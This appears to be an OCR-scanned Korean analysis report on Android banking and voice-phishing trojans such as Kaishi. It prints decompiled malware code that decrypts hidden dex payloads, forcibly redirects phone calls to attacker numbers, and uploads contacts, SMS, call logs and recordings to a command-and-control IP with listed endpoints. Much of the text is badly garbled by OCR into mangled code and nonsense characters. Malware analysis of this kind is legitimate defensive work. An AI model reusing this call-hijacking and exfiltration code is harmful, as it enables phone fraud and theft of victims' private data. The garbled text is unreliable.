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2016 3384 541 3860 13656 927 7526
2017 5685 967 3776 18574 1503 15842
2018 6221 1430 4673 27911 2610 25279
2019 7219 2506 5487 30448 3892 33791
2020 7844 2144 4297 23837 4856 29754
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attack_rmbkeyword:  Android- 27304
Desoending Trojan\/Kalshi.0EE {6.29%)
[2E 2] Trojan 2 ¥ HIE
=< TICHY
1 Trojan/SMSStrealer
2 Trojan/Banker
3 Trojan/HiddenAdds
4

Trojan/FakeApp



5 Trojan/Kaishi
6 Trojan/Infostealer

7 Trojan/Agent
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bcYiowex1tcedpzw 1dyeeqgh
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becbdseqshu766fzwsB48ewovogrg
bertvo2focgBxg02q506edfilg22 3touf
bey3coprotdpkgmwinvky8zwvbqugpeeljgbbooglkobjibT8zxk& T0rybihx6blparbiri gkelouynmdux2 34jcjis56dejown 2
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2021-10-31 2% 435 oY ECG
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Field v2_1 = ffv.fiv2untc78e7cua(vl_1, "mHainThread");
ffv.ellamltmsvi{v2_1, true);

Object v2_2 = ffv.gkgewmg7hxljppl{vZ_1, ve_1);

Class v4 = ffv.royet8ze28("android.app.ActivityThread”);
Field w5 = ffv.fusrde3svjtwes(va, "mInitialapplication”};
ffv.hgl8smwsselt3acnsto(vs, true);
ffv.apeb78agosrgmjud?a(vs, v2_2, this.d);

Field v4 1 = ffv.cewpvcrejng2titavnpu(v4, "mallapplications”™);
ffv.m2505 jwhakleasbn(va 1, true};

arrayList v2_3 = (AarrayList)ffv.teteTwaxxdceqb(v4_1, v2_2);
ffv.kdlbl3szjdex(v2_3, this);

ffv.kilcgaswejwhx3er4azf(v2_3, this.d);

Field v1_2 = ffv.iqugcumjase7owg(vl_1, "mPackageInfo”);
ffv.cysbogbusktpsftaee(vl_2, true);

Object wB_2 = ffv.Thkpwsyffaihsj(vi_2, v& 1);

Class vl _3 = ffv.eqrt37p7bmrvyg("android.app.Loadedapk™);
Field v2_4 = ffv.l2gucesmevhvhlirn{vl_3, "mapplication”);

(13 9] =3Pt HgE T
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try {
ZipInputstream v3_1 = new ZipInputStream(new BufferedInputStream{new FileInputStream(ffv.hspzrghs88z(this).sourcedir}});
arrayList v4 1 = new ArrayList();
alabi:
do {
label_128:
ZipEntry w5 = ffv.kgméonveue(v3_1};
if(vEs = null} {
goto label_1g6;
h

ffv.tmkzgrieijs(v3i_1};
ffv.cesqeubbllsjlssx3umT (v3_1);
int w3_2 = 8;
while(true} {
label_133:
if{w3_2 »= ffv.h74rggksis(v4 1)) {
goto label 1933
kL

byte[] v5_1 = (byte[])}ffv.hn2pnmrudwgpfa(vs_1, v3_2);

int vé&;

for{ve = 8; v& < 188 &8 v& « vS_1.length; ++vE) {
v5_1[wve] = (byte)(vws_1[wve] ~ exaa);

stringBuilder v7 = new StringBuilder();
ffv.aeedty77xedw2q(vy, v3_2);
ffv.llre2yis2ovtshfMwes(v?, ".obfedex™);
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[T 1] oHE LS
2A|Z adb shells FEAA [2E N2 I LiFS JEEH S JHX(Q] LjZ0] 4d&
O]

So1st 4 QICt O] TIYSS D 22 dex THUOIC ST dex THAS 710X (Kaishi) 4420]
O

public void onCalladded(Call argd) {
callservice.onCalladded(this, argd);
++this.i;

LogHelper.uploadCalliog(Callservice.append(Callservice.append(new StringBuilder().append(“onCalladded, onCalladded, i: "), this.i), ", isDefaultpialer }.append(seti
if(callmanager.mcall == null) {
Callmanager.mcall = args;
}
LogHelper.v(this.TAG, new Cbjsct onCalladded, CallManager.mCall + CallManager.mcall});
int v3 = arg9.getstate();
11‘(\3 _'= 2] && v3 == 9) { // STATE

uilder v3_1 = new St
\3 1 append( onCalladded, STATE
LimitPhoneNumberBean v4 = Limit
1f(\4 1= null) {

CTING, callPhone: ”),
rDE.getInstanc ppstart getContext(}).queryoutgoingPhoneNumberType(™");

g realphonerum = v4, getRealPhonerumber(

if(1Textu JsEmpt)(realphonerum &5 ( 1_forw |1 ng .equals(v4.getType(}})) {
vi 1. append( TYPE_CALL_F(X DING edNumberR + realphonebum);
try {
args dlsconnect(
Thread d.sleep(5@8L);
catch(Exception va) {
LogHelper.uploadCalliog("onCalladded, exception + v9.getMessage() + ispefaultDialer + SettingUtils.isDefaultDialer(AppStart.getContext(}));

v3_1.append(”, phoneShow, phoneshow: , savedNumberReal: " + realphoneNum);
LogHelper.upleadCallLeg(v3_1.tostring());
this.startactivityForcall(realphonebum);

AppStart.i = 1;

AppStart.phoneShow = "";

return;
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public veid startactivityrercall(string args) {
LegHelper.uploadCallieg(”startactivityrorcall, phone + args + ", ispefaulitDialer + settingUtils.ispefaultpialer(Appstart.getContext()));
string vs = args.replaceall(”-", }.startswith("+82") ? "@" + w5s_l.substring(3) : arg5.replaceall("-", | H
try {
Intent w8 = new Intent(“"android.intent.action.caLL™);
callservice.addflag(ve, exlecesses);
ve.setData(uri.parse(“tel:” + v5)});
this.startactivity(ve);
i
catch(Exception v5_2) {
LogHelper.uploadCalliog(“startactivityForcall, exception + Callservice.fyexteseh7xy(vs_2) + ", isDefaultDialer + Settingutils.isDefaultpialery
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else {

this.saovedhumberfeal = vi_2.getRealPhoneNumber(});

if(Phonecallreceiver. incmeqtepyx4fesh( call_for vi_2.getType()}) {
vi2_3.append(”, jgr onReceive, CALL_STATE_R G, TYPE_CALL_FORCED, number + this.savedNumberfeal + ", show + this.show);
this.isForced = true;
settingUtils.ispefaultDialer(appStart.getContext(});

Appstart.phone = this.savedhumberreal;

Appstart.o = 1;

v12_3.append(”, showFloatWindow + this.showFloatwindow(argll, this.sovedhumberfreall}});

this.mcallLogBean = new CallLogBean(incominghum, this.savedNumberfeal, “forced"};

this.mPhonecal LListener.onIncomingCallReceived(incomingium, this.sovediumberfgeal, “forced”, this.callStartTime);
PheneCallReceiver.upleadcallleog(this.mPhonecalllistener, v12_3.toString(});

}

else if("black_list".eguals(vil_2.getType(}}} {
object[] v1_3 = {PhoneCallReceiver.l8kl46w7f563w(new StringBuilder(), "jgr onReceive, CALL_STATE_RINGING, TYPE_BLACK_LIST, number }.append(this.savedvumberreal).append(
LogHelper.v(PhoneCallReceiver. TAG, vi_3);
this.mcalllogBean = new CallLogBean{incominghum, this.sagvedNumberregl, "blacklist™);
this.mPhonecal LListener.onIncomingCallReceived (incomingium, this.sgvediumberfeal, "blacklist”, this.collStartTime);
if(PhoneCallReceiver.endCall(}) {

this.isBlack = true;

¥

}

}
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O] ZHSIE|OIRIZ 42 s 717|129 HE (appld, device_id, call_state, phone_number,
call_duration)E C&C MHZ HHC} 7|&2 host A= “206.119.82.28"2 HO|E|01 QLY

3-5 C&C AjH{ A4

public class URL {
interface Resultcallback {
volid callback(=tring argl);
by

public static string BASE URL = "/public/index.php/api”;

public static final String DEFAULT _HOST = "286.119.82.23";

public static string GET_EXTRA MESSAGE = "Sfuser/get_extra_message”;

public static String GET_LIMIT PHONE _NUMBER = "/fuser/get_limit phone_number”;
public static string PIMG SERVER = "/fuser/ping_server"”;

E
E

public static final string REQUEST DEFAULT_RTMF_URL = "REQUEST DEFAULT RTHP_URL";

public static final String REQUEST_GET_EXTRA_MESSAGE = "REQUEST_GET_EXKTRA_MESSAGE";

public static final String REQUEST GET_LIMIT_PHONE _NUMBER = "REQUEST_GET_LIMIT PHOME NUMBER";
public static final String REQUEST FPING SERVER = "REQUEST PING_SERVER";

public static final string REQUEST SOCKET_PUSH URL = “REQUEST SOCKET _PUSH_URL™;

public static final String REQUEST SOCKET_SERVER_URL = "REQUEST SOCKET SERVER_URL";

public static final string REQUEST SUBMIT (O0AN APPLICATION = “REQUEST SUBMIT LOAN APPLICATION;
public static final String REQUEST UPLOAD INFO FILE = "REQUEST UPLOAD IMFO_FILE";

public static final string REQUEST_UPLOAD LOG = “REQUEST _UPLOAD _LOG";

public static final String REQUEST UPLOAD RECORDING FILE = “REQUEST UPLOAD RECORDING FILE";
public static string SOCKET_PUSH URL = ":3121";

public static String SOCKET _SERVER_URL = ":3128";

public static String SUBMIT_LOAN APPLICATION = "/fuser/submit_loan_application”;

private static final String TAG = "URL_CONSTANT";

public static String UPLOAD INFO FILE = "J/userfupload_info_file";

public static String UPLOAD LOG = "fuserfupload_log"™;

public static String UPLOAD RECORDING FILE = "/user/upload_recording file";
public static List hostlist = null;

public static String reploceHost = "";

g 0g
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S0verride
public void onRecelvelLoadInfo(CommandLoadInfoBean argd) {
if(RecorderService.rén73zedfw("contact”, argd.getType()})
this.muplogdPhoreInforunnable = new UploadPhoneInfoRunnable(this, “CONMTACT™);
UploadInfoThreadExecutor.getsingleton().execute(this. miplogdrhoneInfoRunnable,

%%

¥

ARt

if("sms".equals{arg4.getType()))
this.muploadPhoreInforunnable = new UploadPhoneInfoRunnable(this, "SMS_4ALL™);
UploadInfoThreadexecutor.getsingleton().execute(this. mUplogdrhoneInforunnable,

b
if("call_log”.equals(arg4.getType())) {
this.muploodPhoreInforunnable = new UploadPhoneInfoRunnable(this, “CalLl_L0G"});
UploadInfoThreadExecutor.getsingleton().execute(this. miplogdrhoneInforunnable,
b
if("android”.equals{arg4.getType())) {

OT0™

3
i
= AL F

oy
L

this.muplogdPhoreInfoRunnable = new UploadPhoneInfoRunnable(this,
UploadInfoThreadExecutor.getsingleton().execute(this.mUiplogdrhoneInfoRunnable,

“"uploadInf

i
Lk

“"uploadInfosmsAall™);

“uploadInfoCallLog™)

“uploadInfoandroid™)

ntact™);

a3

1
1
ErX
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Ekx|:ﬂ:§ |— LH 74O I‘<'5|.I:I"‘|=| I‘6|. |§ | |I—I|:i |I—|:L-Lr:72“‘o
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private woid upleadInfoFile(File arg5, String arge) {
this.stringsuilder.append(”, uploadInfoFile, type: " + arge);
if(args != null && (args.exists(}))}) {
LogHelper.uploadCalliog(this. stringeuilder.tostring(});
string v@ = DeviceInfoutils.getpeviceID(appStart.getContext(});
Hash¥ap vl = new Hash¥ap(};
vi.put{"t argel;
vi.put(“d _id", ve);
vi.put(“appld”, "PZPUKFIBkgaHajSladHZIVHMKLKChBYZmME"};
wttpManager.getinstance().uploadinforile(args, Jsenutils.map2dson(vi).tostring(), new onResponseCallback() {
public static StringBuilder append(StringBuilder argl, String arg2) {
return argl.append{arg2};
3
public void onResponse(int args, string arge, UploadInforile arg?) {
LogHelper.v(UploadPhoneInforunnable. this. 7AG, new Object[]{"uploadInfoFile retmsg:" + arge});
if(args == & && (args.exists(})))
args.delete(};
1
stringBuilder vs = new StringBuilder();
vS.append(ve);
v5s.append(”_"};
vS.append(arge);
v5.append(“_"};
com. livelihood.tools. receiver.UploadrhoneInfoRunnable.1.append(vs, "PZPUKFIBkqaHajSladHIVMKLKChEYZRE™);
socketuelper.getInstance(((Recorderservice)UploadrhoneInforunnable . this.mcontext) ). sendUploadInfoMsgToserver(new String[l{vs.tostring(}});
1
r‘é’qur‘n_;
3
this.stringsuilder.append(”, file is null"™};
o
[12 17] Y2
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if(vz == @) {
if(Floatingwindow.gmw7a3gnia33za()) {
iew v1_2 = this.migyoutInflater.inflate(ex7receese, arg2l, true);
AspectRaticImageview v3 = (AspectRaticImageview)vl_2.findviewById(ex7Feoells);
if(!this.msystemdodel . contains ("SM-G95") && Ithis.mSystemModel.contains("sM-N95") && !this.msystemModel.contains("sM-696") && !this.mSystemModel.contains("sM-N96"™)
if(!FloatingwWindow.coreldvsglessrestit(this.mSystemvodel, “sM-G23")) {

LogHelper.v(this. 746, new object[]{"createandattachview, 5"});
this.mFrameLayout = (FrameLayout)vl_2;
if(this.mSystemModel .contains("s®-n92")) {

goto label 237;

¥

Floatingwindow.tquspx7xe7bvws42a(v3, this.bg);
this.labels44(};
return;

3

this.bg = @x7FeE@842;
this.mFrameLayout = (FrameLayout)vi_2;
vi.setImageResource(@x7FPOESR42);
this.labelssa(};

return;
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